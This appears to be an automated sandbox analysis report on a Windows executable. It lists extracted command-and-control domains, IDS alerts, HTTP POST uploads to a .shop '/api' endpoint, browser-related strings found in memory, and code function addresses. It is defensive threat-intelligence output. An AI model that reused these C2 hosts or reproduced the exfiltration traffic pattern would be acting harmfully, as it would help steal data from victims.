Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop

Source: Joe Sandbox View

IP Address: 104.21.112.1 104.21.112.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.112.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HCZVVRB9YU1BI9MGOFDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18169Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=T5H7PAQG41KHN8MHY7CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8790Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7ZJUYBBS9X5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20395Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6OPMM33SI10YDMKDTMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1248Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=N4Y16TNE0FZYKUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569055Host: fancywaxxers.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fancywaxxers.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: x6VtGfW26X.exe, 00000000.00000003.1824563850.0000000001240000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1821734147.000000000123E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: x6VtGfW26X.exe, 00000000.00000003.1753167633.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: x6VtGfW26X.exe, 00000000.00000003.1824627069.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: x6VtGfW26X.exe, 00000000.00000002.1825873108.0000000001262000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000002.1825639717.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1768843277.00000000059A4000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1788479587.000000000125B000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1779525577.0000000001260000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1824748858.00000000059A2000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1752903971.000000000126D000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1779642291.00000000059A4000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1824627069.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1821674325.0000000001262000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1821791859.00000000059A2000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738797975.00000000059A2000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1754283149.000000000126D000.00000004.00000020.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738935579.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: x6VtGfW26X.exe, 00000000.00000003.1726707049.0000000005A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: x6VtGfW26X.exe, 00000000.00000003.1726707049.0000000005A00000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738963954.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738836510.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738674715.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: x6VtGfW26X.exe, 00000000.00000003.1726707049.0000000005A00000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738963954.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738836510.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1738674715.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: x6VtGfW26X.exe, 00000000.00000003.1726780789.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: x6VtGfW26X.exe, 00000000.00000003.1754654889.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: x6VtGfW26X.exe, 00000000.00000003.1726375963.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, x6VtGfW26X.exe, 00000000.00000003.1726304754.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: x6VtGfW26X.exe, 00000000.00000003.1754316169.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49736 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: x6VtGfW26X.exe	Static PE information: section name:
Source: x6VtGfW26X.exe	Static PE information: section name: .idata
Source: x6VtGfW26X.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D6000	0_2_007D6000
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007E84F0	0_2_007E84F0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007F0480	0_2_007F0480
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007B8640	0_2_007B8640
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007E8860	0_2_007E8860
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007C8DF1	0_2_007C8DF1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D1060	0_2_007D1060
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007C9362	0_2_007C9362
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007B95A0	0_2_007B95A0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007BD6F8	0_2_007BD6F8
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007EFB80	0_2_007EFB80
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007EBCE0	0_2_007EBCE0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007BDE48	0_2_007BDE48
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007DBE8A	0_2_007DBE8A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0085008A	0_2_0085008A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007DA050	0_2_007DA050
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008120BB	0_2_008120BB
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007E8040	0_2_007E8040
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0081C000	0_2_0081C000
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008D8014	0_2_008D8014
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00848047	0_2_00848047
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084004F	0_2_0084004F
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C076	0_2_0086C076
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084C180	0_2_0084C180
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082618B	0_2_0082618B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0081818C	0_2_0081818C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007B6160	0_2_007B6160
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008221A2	0_2_008221A2
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008BC1AA	0_2_008BC1AA
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084A1A6	0_2_0084A1A6
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008901AC	0_2_008901AC
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008681AE	0_2_008681AE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00A5C188	0_2_00A5C188
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008961A4	0_2_008961A4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007C6148	0_2_007C6148
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089C1B3	0_2_0089C1B3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084E1C4	0_2_0084E1C4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007F0130	0_2_007F0130
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008941D3	0_2_008941D3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3	0_2_0086C1E3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B41E6	0_2_008B41E6
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0083A1F1	0_2_0083A1F1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082E1F8	0_2_0082E1F8
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008BE10A	0_2_008BE10A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00864100	0_2_00864100
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00892103	0_2_00892103
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00814117	0_2_00814117
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0087A11F	0_2_0087A11F
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0088E129	0_2_0088E129
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0083C133	0_2_0083C133
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008CA13E	0_2_008CA13E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C6148	0_2_008C6148
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007EC1B0	0_2_007EC1B0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089A170	0_2_0089A170
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00838280	0_2_00838280
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007DC26C	0_2_007DC26C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008DE295	0_2_008DE295
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008AC2A0	0_2_008AC2A0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008822A4	0_2_008822A4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008622D6	0_2_008622D6
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008522DD	0_2_008522DD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0081A2E9	0_2_0081A2E9
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082A2F7	0_2_0082A2F7
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089A212	0_2_0089A212
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00832223	0_2_00832223
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008D422C	0_2_008D422C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008BA22D	0_2_008BA22D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008AA221	0_2_008AA221
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008DA23D	0_2_008DA23D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00820235	0_2_00820235
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008E024F	0_2_008E024F
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00848246	0_2_00848246
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0088A24C	0_2_0088A24C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00844263	0_2_00844263
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0098426C	0_2_0098426C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007B4280	0_2_007B4280
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007DC282	0_2_007DC282
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D6360	0_2_007D6360
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008783AE	0_2_008783AE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008763BB	0_2_008763BB
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D6340	0_2_007D6340
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008403BB	0_2_008403BB
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0088C3CE	0_2_0088C3CE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C43E7	0_2_008C43E7
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008363F3	0_2_008363F3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008D83F1	0_2_008D83F1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00880311	0_2_00880311
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0085C31A	0_2_0085C31A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089E32B	0_2_0089E32B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0083E32C	0_2_0083E32C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007CC3CC	0_2_007CC3CC
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B233A	0_2_008B233A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086635B	0_2_0086635B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D238D	0_2_007D238D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00846372	0_2_00846372
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008CE370	0_2_008CE370
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D847D	0_2_007D847D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0085C49E	0_2_0085C49E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B84AF	0_2_008B84AF
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008A44A1	0_2_008A44A1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008984C3	0_2_008984C3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008504CE	0_2_008504CE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0087A4C8	0_2_0087A4C8
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C24DE	0_2_008C24DE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008AC406	0_2_008AC406
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086A417	0_2_0086A417
